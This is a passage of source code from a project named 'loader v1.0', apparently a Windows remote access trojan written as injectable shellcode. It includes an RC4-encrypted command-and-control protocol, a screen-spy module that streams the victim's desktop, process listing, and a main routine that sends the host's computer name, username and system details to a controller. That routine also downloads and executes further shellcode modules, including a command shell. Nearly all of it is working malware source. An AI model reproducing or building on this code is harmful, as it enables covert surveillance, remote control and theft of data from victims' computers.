buffer_checkspace(buf, sizeof(uint8_t) + sizeof(uint32_t));
uint8_t *s = buf->data + buf->size;
if (n < 0x100) { // Bin 8
*s++ = 0xc4;
*s++ = (uint8_t)n;
buf->size += sizeof(uint8_t) + sizeof(uint8_t);
}
else if (n < 0x10000) { // Bin 16
*s++ = 0xc5;
_store16(s, (uint16_t)n);
s += sizeof(uint16_t);
buf->size += sizeof(uint8_t) + sizeof(uint16_t);
}
else { // Bin32
*s++ = 0xc6;
_store32(s, (uint32_t)n);
s += sizeof(uint32_t);
buf->size += sizeof(uint8_t) + sizeof(uint32_t);
}
};
void __cdecl msgpack_lite_pack_bin(buffer_t *buf, const void* v, uint32_t l) {
buffer_checkspace(buf, l + sizeof(uint8_t) + sizeof(uint32_t));
uint8_t *s = buf->data + buf->size;
if (l < 0x100) { // Bin 8
*s++ = 0xc4;
*s++ = (uint8_t)l;
buf->size += sizeof(uint8_t) + sizeof(uint8_t);
}
else if (l < 0x10000) { // Bin 16
*s++ = 0xc5;
_store16(s, (uint16_t)l);
s += sizeof(uint16_t);
buf->size += sizeof(uint8_t) + sizeof(uint16_t);
}
else { // Bin32
*s++ = 0xc6;
_store32(s, (uint32_t)l);
s += sizeof(uint32_t);
buf->size += sizeof(uint8_t) + sizeof(uint32_t);
}
copy_memory(s, v, l);
buf->size += l;
};
void __cdecl msgpack_lite_pack_array_size(buffer_t *buf, uint32_t n) {
if (n < 0x10)
move0(0x90 | n);
if (n < 0x10000)
move2(0xdc, n);
move4(0xdd, n);
};
void __cdecl msgpack_lite_pack_insert(buffer_t *buf, const void *v, uint32_t l) {
buffer_write(buf, v, l);
};
#pragma warning(pop) // warning pop
#undef global_data // undef global_data
================================================
FILE: loader v1.0/functions/functions/order.txt
================================================
shellcode_main_entry@8
buffer_new
buffer_free
buffer_checkspace
buffer_write
buffer_clear
msgpack_lite_pack_nil
msgpack_lite_pack_boolean
msgpack_lite_pack_signed
msgpack_lite_pack_unsigned
msgpack_lite_pack_float
msgpack_lite_pack_double
msgpack_lite_pack_real
msgpack_lite_pack_map_size
msgpack_lite_pack_str
msgpack_lite_pack_widestr
msgpack_lite_pack_bin_size
msgpack_lite_pack_bin
msgpack_lite_pack_array_size
msgpack_lite_pack_insert
send_packet
recv_packet
bitmap_create_info
bitmap_new
bitmap_free
bitmap_scan_line
bitmap_save
send_information
wait_command
initalize_code
process_packet
socket_main
shellcode_main_code_end
information_entry
get_lan_info
get_os_version
get_cpu_frequency
information_code_end
cmd_shell_entry
cmd_shell_initialize
cmd_shell_check
cmd_shell_send_result
cmd_shell_execute
cmd_shell_finalize
cmd_shell_code_end
thumbnail_entry
thumbnail_send
thumbnail_code_end
screenspy_entry
switch_input_desktop
screenspy_initalize
screenspy_save_rect
screenspy_send_diff
screenspy_send
screenspy_finalize
screenspy_code_end
process_entry
process_send_list
process_code_end
================================================
FILE: loader v1.0/functions/functions/process.c
================================================
#include "global_data.h"
#include "shellcodes.h"
extern void __cdecl process_entry(global_data_t *global_data);
extern int __cdecl process_send_list(global_data_t *global_data, SOCKET s);
extern void __cdecl process_code_end();
#define FIX(name) xprocess.##name = (_##name)(delta + (char *)name)
#pragma optimize("ts", on)
void __cdecl process_entry(global_data_t *global_data) {
uint32_t delta;
__asm {
call x;
x:
pop eax;
sub eax, offset x;
mov delta, eax
}
FIX(process_send_list);
}
#undef FIX // undef macro FIX
int __cdecl process_send_list(global_data_t *global_data, SOCKET s) {
HANDLE snapshot = xCreateToolhelp32Snapshot(TH32CS_SNAPALL, 0);
PROCESSENTRY32W pe;
pe.dwSize = sizeof(pe);
xProcess32FirstW(snapshot, &pe);
buffer_t *buf = xbuffer_new();
while (xProcess32NextW(snapshot, &pe)) {
mlp_array_size(buf, 2);
{
mlp_unsigned(buf, pe.th32ProcessID);
mlp_widestr(buf, pe.szExeFile);
}
}
xCloseHandle(snapshot);
int ret = xsend_packet(s, CMD_PROCESS_LIST, (const char *)buf->data, buf->size);
xbuffer_free(buf);
return ret;
}
void __cdecl process_code_end() {
printf(__FUNCTION__);
}
#pragma optimize("ts", off)
#undef FIX // undef macro FIX
void process_save(char *filename) {
char *start, *end;
FILE *f;
start = (char *)process_entry;
end = (char *)process_code_end;
printf("[*] process code size = 0x%X\n", end - start);
f = fopen(filename, "wb");
fwrite(start, 1, end - start, f);
fclose(f);
printf("[*] save process to %s success.\n", filename);
}
================================================
FILE: loader v1.0/functions/functions/proto.inc
================================================
int __cdecl send_packet(global_data_t *global_data, SOCKET s, uint8_t cmd, const char *buf, size_t size) {
packet_header_t ph;
zero_memory(&ph, sizeof(ph));
ph.random = xGetTickCount();
ph.signature = PACKET_HEADER_SIGNATURE;
ph.cmd = cmd;
if (buf == 0) {
rc4_crypt(global_data->send_sbox, (char *)&ph, sizeof(packet_header_t));
if (send_data(s, (char *)&ph, sizeof(ph)) == SOCKET_ERROR) return SOCKET_ERROR;
}
else {
ph.packet_unpacked_size = size;
char *send_buf = alloc_memory(size);
uint32_t compressed_size;
if (size >= MIN_COMPRESS_DATA_SIZE) {
compressed_size = compress((char *)buf, size, send_buf, size);
}
else {
copy_memory(send_buf, buf, size);
compressed_size = size;
}
if (compressed_size < 0) {
free_memory(send_buf);
return SOCKET_ERROR;
}
ph.packet_size = compressed_size;
rc4_crypt(global_data->send_sbox, (char *)&ph, sizeof(packet_header_t));
rc4_crypt(global_data->send_sbox, (char *)send_buf, compressed_size);
if (send_data(s, (char *)&ph, sizeof(ph)) == SOCKET_ERROR) return SOCKET_ERROR;
if (send_data(s, (char *)send_buf, compressed_size) == SOCKET_ERROR) return SOCKET_ERROR;
}
return 0;
}
int __cdecl recv_packet(global_data_t *global_data, SOCKET s, uint8_t *cmd, void **buf, size_t *size) {
packet_header_t ph;
*buf = 0;
*size = 0;
if (recv_data(s, (char *)&ph, sizeof(packet_header_t)) == SOCKET_ERROR) {
return SOCKET_ERROR;
}
rc4_crypt(global_data->recv_sbox, (char *)&ph, sizeof(ph));
if (ph.signature != PACKET_HEADER_SIGNATURE) {
return SOCKET_ERROR;
}
*cmd = ph.cmd;
if (ph.packet_size == 0) return 0;
void *encrypt_data = alloc_memory(ph.packet_size);
if (recv_data(s, encrypt_data, ph.packet_size) == SOCKET_ERROR) {
free_memory(encrypt_data);
return SOCKET_ERROR;
}
rc4_crypt(global_data->recv_sbox, (char *)encrypt_data, ph.packet_size);
if (ph.packet_size == ph.packet_unpacked_size) {
*buf = encrypt_data;
*size = ph.packet_size;
return 0;
}
void *decompress_data = alloc_memory(ph.packet_unpacked_size);
size_t decompress_size = decompress(encrypt_data, ph.packet_size, decompress_data, ph.packet_unpacked_size);
if (decompress_size != ph.packet_unpacked_size) {
free_memory(encrypt_data);
free_memory(decompress_data);
return SOCKET_ERROR;
}
free_memory(encrypt_data);
*buf = decompress_data;
*size = ph.packet_unpacked_size;
return 0;
};
================================================
FILE: loader v1.0/functions/functions/screenspy.c
================================================
#include "global_data.h"
#include "shellcodes.h"
/*
最小块大小为 32 * 38
BitBlt 不加上 CAPTUREBLT无法捕获透明窗体
但CAPTUREBLT会导致鼠标闪烁
仅使用SRCCOPY标志时,Windows只需要从M中拷贝屏幕图像就行了。而若使用了CAPTUREBLT标志,导致的结果是鼠标及半透明窗口均被捕捉下来。
但在设计上,BitBlt函数是不允许捕捉鼠标的。于是,系统只好先隐藏鼠标,然后捕捉图像,再恢复鼠标,结果就导致了鼠标的闪烁。
*/
extern void __cdecl screenspy_entry(global_data_t *global_data);
extern bool __cdecl switch_input_desktop(global_data_t *global_data);
extern int __cdecl screenspy_initalize(global_data_t *global_data, SOCKET s, int bit_count);
extern void __cdecl screenspy_save_rect(global_data_t *global_data, RECT rt);
extern int __cdecl screenspy_send_diff(global_data_t *global_data, SOCKET s);
extern int __cdecl screenspy_send(global_data_t *global_data, SOCKET s);
extern int __cdecl screenspy_finalize(global_data_t *global_data, SOCKET s);
extern void __cdecl screenspy_code_end();
#define FIX(name) xscreenspy.##name = (_##name)(delta + (char *)name)
#pragma optimize("ts", on)
void __cdecl screenspy_entry(global_data_t *global_data) {
uint32_t delta;
__asm {
call x;
x:
pop eax;
sub eax, offset x;
mov delta, eax
}
FIX(screenspy_initalize);
FIX(screenspy_send);
FIX(screenspy_finalize);
}
#undef FIX // undef macro FIX
// 切换输入窗口
bool __cdecl switch_input_desktop(global_data_t *global_data) {
bool ret = false;
DWORD needed;
HDESK old, new_;
char current[256], input[256];
old = xGetThreadDesktop(xGetCurrentThreadId());
zero_memory(current, sizeof(current));
xGetUserObjectInformationA(old, UOI_NAME, ¤t, sizeof(current), &needed);
new_ = xOpenInputDesktop(0, FALSE, MAXIMUM_ALLOWED);
zero_memory(current, sizeof(input));
xGetUserObjectInformationA(new_, UOI_NAME, &input, sizeof(input), &needed);
if (xlstrcmpiA(input, current) != 0) {
xSetThreadDesktop(new_);
ret = true;
}
xCloseDesktop(old);
xCloseDesktop(new_);
return ret;
}
int __cdecl screenspy_initalize(global_data_t *global_data, SOCKET s, int bit_count) {
extra_data()->state |= STATE_SCREEN_SPY;
xscreenspy.screen_width = xGetSystemMetrics(SM_CXSCREEN);
xscreenspy.screen_height = xGetSystemMetrics(SM_CYSCREEN);
switch_input_desktop(global_data);
xscreenspy.desktop_window = xGetDesktopWindow();
xscreenspy.desktop_dc = xGetDC(xscreenspy.desktop_window);
xscreenspy.bitmap_full = xbitmap_new(xscreenspy.desktop_dc, bit_count, xscreenspy.screen_width,
xscreenspy.screen_height);
xscreenspy.bitmap_line = xbitmap_new(xscreenspy.desktop_dc, bit_count, xscreenspy.screen_width, 1);
xscreenspy.bit_count = xscreenspy.bitmap_full->bit_count;
xscreenspy.start_line = 0;
xscreenspy.first_screen_sent = false;
return xsend_packet(s, CMD_SCREENSPY_START, 0, 0);
}
void __cdecl screenspy_save_rect(global_data_t *global_data, RECT rt) {
int i, j;
RECT rt3;
int nt[9];
for (i = 0; i < 9; i++) {
// 找出非空数据
if (xscreenspy.changed[i].right == 0) continue;
// 判断当前区域是否与已经保存的区域中间的区域是否足以放下另外一个基本块
if ((xscreenspy.changed[i].left - rt.right > 32) ||
(rt.left - xscreenspy.changed[i].right > 32) ||
(xscreenspy.changed[i].top - rt.bottom > 38) ||
(rt.bottom - xscreenspy.changed[i].top > 38)) {
continue;
}
else {
xSetRect(&xscreenspy.changed[i], min(xscreenspy.changed[i].left, rt.left), min(xscreenspy.changed[i].top, rt.top),
max(xscreenspy.changed[i].right, rt.right), max(xscreenspy.changed[i].bottom, rt.bottom));
return;
}
}
// 计算扩充后的大小
for (i = 0; i < 9; i++) {
nt[i] = 0;
if (xscreenspy.changed[i].right == 0) continue;
xSetRect(&rt3, min(xscreenspy.changed[i].left, rt.left), min(xscreenspy.changed[i].top, rt.top),
max(xscreenspy.changed[i].right, rt.right), max(xscreenspy.changed[i].bottom, rt.bottom));
// 这个公式就是计算扩展后的Rect所占用的冗余区域字节大小
// 写到一起会导致崩溃,wtf!
int target = (rt3.right - rt3.left) * (rt3.bottom - rt3.top);
int orign = (xscreenspy.changed[i].right - xscreenspy.changed[i].left) * (xscreenspy.changed[i].bottom - xscreenspy.changed[i].top);
int input = (rt.right - rt.left) * (rt.bottom - rt.top);
j = (target - orign - input) * xscreenspy.bit_count / 8;
// 如果占用的冗余字节数小于3000则直接设置
if (j < 3000) {
xscreenspy.changed[i] = rt3;
return;
}
// 保存冗余信息
nt[i] = j;
}
// 有空位置直接保存
for (i = 0; i < 9; i++) {
if (xscreenspy.changed[i].right == 0) {
xscreenspy.changed[i] = rt;
return;
}
}
// 找出扩充后字节数最小的区域来进行扩充
i = 0;
for (j = 0; j < 9; j++) {
if (xscreenspy.changed[i].right == 0) continue;
if (nt[j] < nt[i]) i = j;
}
xSetRect(&xscreenspy.changed[i], min(xscreenspy.changed[i].left, rt.left), min(xscreenspy.changed[i].top, rt.top),
max(xscreenspy.changed[i].right, rt.right), max(xscreenspy.changed[i].bottom, rt.bottom));
}
int __cdecl screenspy_send_diff(global_data_t *global_data, SOCKET s) {
int i, j;
uint32_t *porign, *pnew;
RECT rt;
for (i = 0; i < 9; i++) {
xSetRectEmpty(&xscreenspy.changed[i]);
}
xSetRectEmpty(&rt);
i = xscreenspy.start_line;
while (i < xscreenspy.screen_height) {
// 取出一行数据
xBitBlt(xscreenspy.bitmap_line->dc, 0, 0, xscreenspy.screen_width, 1, xscreenspy.desktop_dc, 0, i, SRCCOPY/* | CAPTUREBLT*/);
porign = xbitmap_scan_line(xscreenspy.bitmap_full, i);
pnew = xbitmap_scan_line(xscreenspy.bitmap_line, 0);
j = 0;
while (j < xscreenspy.screen_width) {
if (*porign == *pnew) {
porign++;
pnew++;
j += 32 / xscreenspy.bit_count; // 32位除以一个像素占多少位
continue;
}
rt.left = max(j - 32, 0);
rt.top = max(i - 19, 0);
rt.right = min(j + 32, xscreenspy.screen_width);
rt.bottom = min(i + 19, xscreenspy.screen_height);
screenspy_save_rect(global_data, rt);
// 这里加bit_count是因为32(像素) / (32(一个dword包含多少位) / bitcount(一个像素占用多少位)) = bit_count
porign += xscreenspy.bit_count;
pnew += xscreenspy.bit_count;
j += 32;
}
i += 19;
}
// 0 3 6 9 12 15 18, 2 5 8 11 14 17, 1 4 7 10 13 16 0,
// 为了防止每次都从第一个进行扫描,每次跳过的行数都是相同的,以免特定行数改变时无法捕获
// 保证每行都能被扫描到
xscreenspy.start_line = (xscreenspy.start_line + 3) % 19;
// 将变化的区域写入原图
for (i = 0; i < 9; i++) {
if (xscreenspy.changed[i].right != 0) {
xBitBlt(xscreenspy.bitmap_full->dc,
xscreenspy.changed[i].left, xscreenspy.changed[i].top,
xscreenspy.changed[i].right - xscreenspy.changed[i].left,
xscreenspy.changed[i].bottom - xscreenspy.changed[i].top,
xscreenspy.desktop_dc, xscreenspy.changed[i].left, xscreenspy.changed[i].top, SRCCOPY);
}
}
// 发送变化的区域
buffer_t *buf = xbuffer_new();
POINT pt;
int width, height;
// 写入当前鼠标指针
xGetCursorPos(&pt);
xbuffer_write(buf, &pt, sizeof(pt));
for (i = 0; i < 9; i++) {
if (xscreenspy.changed[i].right != 0) {
pt.x = xscreenspy.changed[i].left;
pt.y = xscreenspy.changed[i].top;
// 写入图像坐标
xbuffer_write(buf, &pt, sizeof(pt));
width = xscreenspy.changed[i].right - xscreenspy.changed[i].left;
height = xscreenspy.changed[i].bottom - xscreenspy.changed[i].top;
bitmap_t *changed_bitmap = xbitmap_new(xscreenspy.bitmap_full->dc, xscreenspy.bit_count, width, height);
xBitBlt(changed_bitmap->dc, 0, 0, width, height, xscreenspy.bitmap_full->dc, xscreenspy.changed[i].left, xscreenspy.changed[i].top, SRCCOPY);
xbitmap_save(changed_bitmap, buf);
xbitmap_free(changed_bitmap);
}
}
int ret = xsend_packet(s, CMD_SCREENSPY_DATA, (const char *)buf->data, buf->size);
xbuffer_free(buf);
return ret;
}
int __cdecl screenspy_send(global_data_t *global_data, SOCKET s) {
// 判断时间
/*DWORD temp = xGetTickCount();
if (temp - xscreenspy.tick < 1000 / 60) {
return 0;
}
xscreenspy.tick = temp;*/
if (switch_input_desktop(global_data)) {
xReleaseDC(xscreenspy.desktop_window, xscreenspy.desktop_dc);
xscreenspy.desktop_window = xGetDesktopWindow();
xscreenspy.desktop_dc = xGetDC(xscreenspy.desktop_window);
}
if (xscreenspy.first_screen_sent)
return screenspy_send_diff(global_data, s);
xBitBlt(xscreenspy.bitmap_full->dc, 0, 0, xscreenspy.screen_width, xscreenspy.screen_height, xscreenspy.desktop_dc, 0, 0, SRCCOPY/* | CAPTUREBLT*/);
buffer_t *buf = xbuffer_new();
POINT pt;
// 写入当前鼠标位置
xGetCursorPos(&pt);
xbuffer_write(buf, &pt, sizeof(pt));
// 写入图像位置
pt.x = 0;
pt.y = 0;
xbuffer_write(buf, &pt, sizeof(pt));
xbitmap_save(xscreenspy.bitmap_full, buf);
int ret = xsend_packet(s, CMD_SCREENSPY_DATA, (const char *)buf->data, buf->size);
xbuffer_free(buf);
xscreenspy.first_screen_sent = true;
return ret;
}
int __cdecl screenspy_finalize(global_data_t *global_data, SOCKET s) {
extra_data()->state &= ~STATE_SCREEN_SPY;;
xReleaseDC(xscreenspy.desktop_window, xscreenspy.desktop_dc);
xbitmap_free(xscreenspy.bitmap_full);
xbitmap_free(xscreenspy.bitmap_line);
if (s != INVALID_SOCKET) {
return xsend_packet(s, CMD_SCREENSPY_END, 0, 0);
}
return 0;
}
void __cdecl screenspy_code_end() {
printf(__FUNCTION__);
}
#pragma optimize("ts", off)
#undef FIX // undef macro FIX
void screenspy_save(char *filename) {
char *start, *end;
FILE *f;
start = (char *)screenspy_entry;
end = (char *)screenspy_code_end;
printf("[*] screenspy code size = 0x%X\n", end - start);
f = fopen(filename, "wb");
fwrite(start, 1, end - start, f);
fclose(f);
printf("[*] save screenspy to %s success.\n", filename);
}
================================================
FILE: loader v1.0/functions/functions/shellcode.inc
================================================
typedef void * (__stdcall *_get_proc_from_hash)(HMODULE, DWORD, _GetProcAddress);
typedef void (__stdcall *_rc4_init)(unsigned char *, const char *, DWORD);
typedef void (__stdcall *_rc4_crypt)(unsigned char *, const char *, DWORD);
typedef void *(__stdcall *_alloc_memory)(global_data_p, DWORD);
typedef void *(__stdcall *_realloc_memory)(global_data_p, void *, DWORD);
typedef void *(__stdcall *_free_memory)(global_data_p, void *);
typedef void *(__stdcall *_alloc_executable_memory)(global_data_p, HANDLE, DWORD);
typedef void (__stdcall *_free_executable_memory)(global_data_p, HANDLE, void *);
typedef void *(__stdcall *_inject_memory)(global_data_p, HANDLE, void *, DWORD);
typedef int (__stdcall *_compress)(global_data_p, void *, DWORD, void *, DWORD);
typedef int (__stdcall *_decompress)(global_data_p, void *, DWORD, void *, DWORD);
typedef int (__stdcall *_wait_buffer)(global_data_p, SOCKET, DWORD, DWORD);
typedef int (__stdcall *_recv_data)(global_data_p, SOCKET, void *, DWORD);
typedef int (__stdcall *_send_data)(global_data_p, SOCKET, void *, DWORD);
typedef uint64_t (__cdecl *_wow64_call)(uint64_t func, int argC, ...);
typedef uint64_t (__cdecl *_wow64_inject_memory)(global_data_t *global_data, HANDLE process, unsigned char *buf, uint32_t size);
typedef HANDLE (__cdecl *_wow64_create_remote_thread)(global_data_t *global_data, HANDLE process, uint64_t thread, uint64_t param);
================================================
FILE: loader v1.0/functions/functions/shellcode_main.c
================================================
#include "shellcodes.h"
#include "global_data.h"
typedef void(__cdecl *_submodule_entry)(global_data_t *global_data);
/*
1. ʼbufferģ飬msgliteģ飬Э鷢ͽģ
2. ͨѶģ
*/
extern void __stdcall shellcode_main_entry(global_data_t *global_data, SOCKET s);
extern buffer_t * __cdecl buffer_new(global_data_t *global_data);
extern void __cdecl buffer_free(buffer_t *buf);
extern void __cdecl buffer_checkspace(buffer_t *buf, size_t l);
extern void __cdecl buffer_write(buffer_t *buf, const void *v, size_t l);
extern void __cdecl buffer_clear(buffer_t *buf);
extern void __cdecl msgpack_lite_pack_nil(buffer_t *buf);
extern void __cdecl msgpack_lite_pack_boolean(buffer_t *buf, bool b);
extern void __cdecl msgpack_lite_pack_signed(buffer_t *buf, int64_t i);
extern void __cdecl msgpack_lite_pack_unsigned(buffer_t *buf, uint64_t i);
extern void __cdecl msgpack_lite_pack_float(buffer_t *buf, float f);
extern void __cdecl msgpack_lite_pack_double(buffer_t *buf, double d);
extern void __cdecl msgpack_lite_pack_real(buffer_t *buf, double d);
extern void __cdecl msgpack_lite_pack_map_size(buffer_t *buf, uint32_t n);
extern void __cdecl msgpack_lite_pack_str(buffer_t *buf, const char *v);
extern void __cdecl msgpack_lite_pack_widestr(buffer_t *buf, const wchar_t *v);
extern void __cdecl msgpack_lite_pack_bin_size(buffer_t *buf, uint32_t n);
extern void __cdecl msgpack_lite_pack_bin(buffer_t *buf, const void* v, uint32_t l);
extern void __cdecl msgpack_lite_pack_array_size(buffer_t *buf, uint32_t n);
extern void __cdecl msgpack_lite_pack_insert(buffer_t *buf, const void *v, uint32_t l);
extern int __cdecl send_packet(global_data_t *global_data, SOCKET s, uint8_t cmd, const char *buf, size_t size);
extern int __cdecl recv_packet(global_data_t *global_data, SOCKET s, uint8_t *cmd, void **buf, size_t *size);
extern PBITMAPINFO __cdecl bitmap_create_info(global_data_t *global_data, HDC dc, int bit_count, int width, int height, int *bi_size);
extern bitmap_t * __cdecl bitmap_new(global_data_t *global_data, HDC src_dc, int bit_count, int width, int height);
extern void __cdecl bitmap_free(bitmap_t *bmp);
extern void * __cdecl bitmap_scan_line(bitmap_t *bmp, int line);
extern void __cdecl bitmap_save(bitmap_t *bmp, buffer_t *buf);
extern int send_information(global_data_t *global_data, SOCKET s);
extern int wait_command(global_data_t *global_data, SOCKET s);
extern int __cdecl process_packet(global_data_t *global_data, SOCKET s, uint8_t cmd, void *data, size_t size);
extern void __cdecl socket_main(global_data_t *global_data, SOCKET s);
extern void __cdecl shellcode_main_code_end();
#pragma pack(push)
#pragma pack(1)
typedef struct {
char user32[7];
char version[8];
char shlwapi[8];
char gdi32[6];
char id[3];
char group[6];
char computer_name[14];
char username[9];
char lan[4];
char os[3];
char cpu[4];
char ram[4];
char acc[4];
char language[9];
} shellcode_main_data_t;
#pragma pack(pop)
#define FIX(name) extra->##name = (_##name)(delta + (char *)name)
#pragma optimize("ts", on)
void __stdcall shellcode_main_entry(global_data_t *global_data, SOCKET s) {
uint32_t delta;
__asm {
call x;
x:
pop eax;
sub eax, offset x;
mov delta, eax
}
extra_t *extra = (extra_t *)global_data->extra_data;
FIX(buffer_new);
FIX(buffer_new);
FIX(buffer_free);
FIX(buffer_checkspace);
FIX(buffer_write);
FIX(buffer_clear);
FIX(msgpack_lite_pack_nil);
FIX(msgpack_lite_pack_boolean);
FIX(msgpack_lite_pack_signed);
FIX(msgpack_lite_pack_unsigned);
FIX(msgpack_lite_pack_float);
FIX(msgpack_lite_pack_double);
FIX(msgpack_lite_pack_real);
FIX(msgpack_lite_pack_map_size);
FIX(msgpack_lite_pack_str);
FIX(msgpack_lite_pack_widestr);
FIX(msgpack_lite_pack_bin_size);
FIX(msgpack_lite_pack_bin);
FIX(msgpack_lite_pack_array_size);
FIX(msgpack_lite_pack_insert);
FIX(send_packet);
FIX(recv_packet);
FIX(send_packet);
FIX(recv_packet);
FIX(bitmap_new);
FIX(bitmap_free);
FIX(bitmap_scan_line);
FIX(bitmap_save);
shellcode_main_data_t *data = (shellcode_main_data_t *)(delta + (char *)shellcode_main_code_end);
extra->shellcode_main_data = data;
extra->user32 = xLoadLibraryA(data->user32);
extra->version = xLoadLibraryA(data->version);
extra->shlwapi = xLoadLibraryA(data->shlwapi);
extra->gdi32 = xLoadLibraryA(data->gdi32);
// kernel32
dlsym(global_data->kernel32, WideCharToMultiByte);
dlsym(global_data->kernel32, GetTickCount);
dlsym(global_data->kernel32, GetComputerNameW);
dlsym(global_data->kernel32, GlobalMemoryStatusEx);
dlsym(global_data->kernel32, GetLocaleInfoA);
dlsym(global_data->kernel32, CreatePipe);
dlsym(global_data->kernel32, GetExitCodeProcess);
dlsym(global_data->kernel32, PeekNamedPipe);
dlsym(global_data->kernel32, ReadFile);
dlsym(global_data->kernel32, WriteFile);
dlsym(global_data->kernel32, TerminateProcess);
dlsym(global_data->kernel32, GetCurrentThreadId);
dlsym(global_data->kernel32, lstrcmpiA);
dlsym(global_data->kernel32, GetSystemDirectoryA);
dlsym(global_data->kernel32, lstrcatA);
// advapi32
dlsym(global_data->advapi32, GetUserNameW);
dlsym(global_data->advapi32, RegQueryValueExA);
// ws2_32
dlsym(global_data->ws2_32, gethostname);
dlsym(global_data->ws2_32, inet_ntoa);
// version
dlsym(extra->version, GetFileVersionInfoSizeA);
dlsym(extra->version, VerQueryValueA);
dlsym(extra->version, GetFileVersionInfoA);
// shlwapi
dlsym(extra->shlwapi, wnsprintfA);
// user32
dlsym(extra->user32, MessageBoxA);
dlsym(extra->user32, SetRect);
dlsym(extra->user32, GetUserObjectInformationA);
dlsym(extra->user32, SetThreadDesktop);
dlsym(extra->user32, CloseDesktop);
dlsym(extra->user32, GetSystemMetrics);
dlsym(extra->user32, GetDesktopWindow);
dlsym(extra->user32, GetDC);
dlsym(extra->user32, ReleaseDC);
dlsym(extra->user32, SetRectEmpty);
dlsym(extra->user32, GetCursorPos);
dlsym(extra->user32, GetThreadDesktop);
dlsym(extra->user32, OpenInputDesktop);
// gdi32
dlsym(extra->gdi32, CreateCompatibleBitmap);
dlsym(extra->gdi32, GetDIBits);
dlsym(extra->gdi32, CreateDIBSection);
dlsym(extra->gdi32, CreateCompatibleDC);
dlsym(extra->gdi32, SelectObject);
dlsym(extra->gdi32, DeleteDC);
dlsym(extra->gdi32, DeleteObject);
dlsym(extra->gdi32, BitBlt);
dlsym(extra->gdi32, StretchBlt);
socket_main(global_data, s);
if (extra->state & STATE_CMD_SHELL) {
xcmd_shell_finalize(INVALID_SOCKET);
}
if (extra->state & STATE_SCREEN_SPY) {
xscreenspy_finalize(INVALID_SOCKET);
}
if (extra->state & STATE_THUMBNAIL) {
extra->state &= ~STATE_THUMBNAIL;
xthumbnail.tick = 0;
}
if (xinformation.code != 0) {
free_executable_memory(0, xinformation.code);
xinformation.code = 0;
}
if (xcmd_shell.code != 0) {
free_executable_memory(0, xcmd_shell.code);
xcmd_shell.code = 0;
}
if (xthumbnail.code != 0) {
free_executable_memory(0, xthumbnail.code);
xthumbnail.code = 0;
}
if (xscreenspy.code != 0) {
free_executable_memory(0, xscreenspy.code);
xscreenspy.code = 0;
}
if (xprocess.code != 0) {
free_executable_memory(0, xprocess.code);
xprocess.code = 0;
}
}
#undef DELTA // undef macro DELTA
// buffer ģ
#include "buffer.inc"
// magpack liteģ
#include "msgpack_lite.inc"
// ݰģ
#include "proto.inc"
// bitmap ģ
#include "bitmap.inc"
int send_information(global_data_t *global_data, SOCKET s) {
shellcode_main_data_t *data = (shellcode_main_data_t *)extra_data()->shellcode_main_data;
buffer_t *buf = xbuffer_new();
uint32_t size;
wchar_t tempw[1024];
char tempa[1024];
mlp_map_size(buf, 11);
/* 1 */{
size = 1024;
xGetComputerNameW(tempw, &size);
tempw[size] = 0;
mlp_str(buf, data->computer_name);
mlp_widestr(buf, tempw);
}
/* 2 */{
size = 1024;
xGetUserNameW(tempw, &size);
tempw[size] = 0;
mlp_str(buf, data->username);
mlp_widestr(buf, tempw);
}
/* 3 */{
xget_lan_info(tempa);
mlp_str(buf, data->lan);
mlp_str(buf, tempa);
}
/* 4 */{
mlp_str(buf, data->version);
mlp_signed(buf, FUNCTIONS_VERSION);
}
/* 5 */{
xget_os_version(tempa, 1024);
mlp_str(buf, data->os);
mlp_str(buf, tempa);
}
/* 6 */{
mlp_str(buf, data->cpu);
mlp_signed(buf, xget_cpu_frequency());
}
/* 7 */{
MEMORYSTATUSEX msex;
msex.dwLength = sizeof(MEMORYSTATUSEX);
xGlobalMemoryStatusEx(&msex);
mlp_str(buf, data->ram);
mlp_signed(buf, msex.ullTotalPhys);
}
/* 8 */{
mlp_str(buf, data->acc);
int method = 0;
if (global_data->socks5) method = 1;
mlp_signed(buf, 1);
}
/* 9 */ {
int len = xGetLocaleInfoA(LOCALE_USER_DEFAULT, LOCALE_SISO3166CTRYNAME, tempa, 1024);
tempa[len] = 0;
mlp_str(buf, data->language);
mlp_str(buf, tempa);
}
/* 10 */ {
mlp_str(buf, data->id);
mlp_widestr(buf, global_data->id);
}
/* 11 */ {
mlp_str(buf, data->group);
mlp_widestr(buf, global_data->group);
}
int ret = xsend_packet(s, CMD_LOGIN_INFO, (const char *)buf->data, buf->size);
xbuffer_free(buf);
return ret;
}
int wait_command(global_data_t *global_data, SOCKET s) {
int ret;
for (;;) {
if (extra_data()->state != 0) {
ret = wait_buffer(s, 0, 10);
} else {
ret = wait_buffer(s, WAIT_BUFFER_TIMEOUT, 0);
}
if (ret < 0) return SOCKET_ERROR;
if (ret != 0) break;
if (extra_data()->state != 0) {
if (extra_data()->state & STATE_SCREEN_SPY) {
// screenspy
if (xscreenspy_send(s) == SOCKET_ERROR) return SOCKET_ERROR;
}
if (extra_data()->state & STATE_CMD_SHELL) {
if (xcmd_shell_send_result(s) == SOCKET_ERROR) return SOCKET_ERROR;
}
if (extra_data()->state & STATE_THUMBNAIL) {
if (xthumbnail_send(s) == SOCKET_ERROR) return SOCKET_ERROR;
}
continue;
}
// PING
if (xsend_packet(s, CMD_PING, 0, 0) < 0) return SOCKET_ERROR;
}
return 0;
}
void * __cdecl initalize_code(global_data_t *global_data, void *code, size_t size) {
void *ret = alloc_executable_memory(0, size);
if (ret == 0) return 0;
copy_memory(ret, code, size);
_submodule_entry entry = (_submodule_entry)ret;
entry(global_data);
return ret;
}
int __cdecl process_packet(global_data_t *global_data, SOCKET s, uint8_t cmd, void *data, size_t size) {
void *code;
// information code
if (cmd == CMD_SHELLCODE_INFORMATION) {
code = initalize_code(global_data, data, size);
if (code == 0) return SOCKET_ERROR;
xinformation.code = code;
return send_information(global_data, s);
}
// cmd_shell code
if (cmd == CMD_SHELLCODE_CMD_SHELL) {
code = initalize_code(global_data, data, size);
if (code == 0) return SOCKET_ERROR;
xcmd_shell.code = code;
return xcmd_shell_initialize(s);
}
// thumbnail code
if (cmd == CMD_SHELLCODE_THUMBNAIL) {
code = initalize_code(global_data, data, size);
if (code == 0) return SOCKET_ERROR;
xthumbnail.code = code;
extra_data()->state |= STATE_THUMBNAIL;
return xthumbnail_send(s);
}
// screenspy code
if (cmd == CMD_SHELLCODE_SCREENSPY) {
code = initalize_code(global_data, data, size);
if (code == 0) return SOCKET_ERROR;
xscreenspy.code = code;
return xscreenspy_initalize(s, xscreenspy.bit_count);
}
// process code
if (cmd == CMD_SHELLCODE_PROCESS) {
